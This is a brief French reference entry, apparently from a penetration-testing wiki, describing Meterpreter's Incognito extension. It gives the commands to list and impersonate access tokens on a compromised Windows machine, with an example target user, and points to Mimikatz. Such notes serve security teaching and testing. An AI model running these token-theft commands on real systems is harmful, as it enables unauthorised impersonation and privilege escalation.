Incognito

Fiche express
Domaine	Vol de jetons (token stealing)
Module	incognito
Contexte	Metasploit / Meterpreter
Voir aussi	Meterpreter · Mimikatz

Incognito est une extension Meterpreter permettant d'usurper les jetons d'accès (access tokens) présents sur la machine compromise, et donc d'endosser l'identité d'un autre utilisateur.

Usage

msfconsole
use incognito
list_tokens -u

Lancer l'usurpation :

impersonate_token \\willie-pc\willie

Voir aussi

• Meterpreter — section « Usurpation de ticket kerberos - Tokens »
• Mimikatz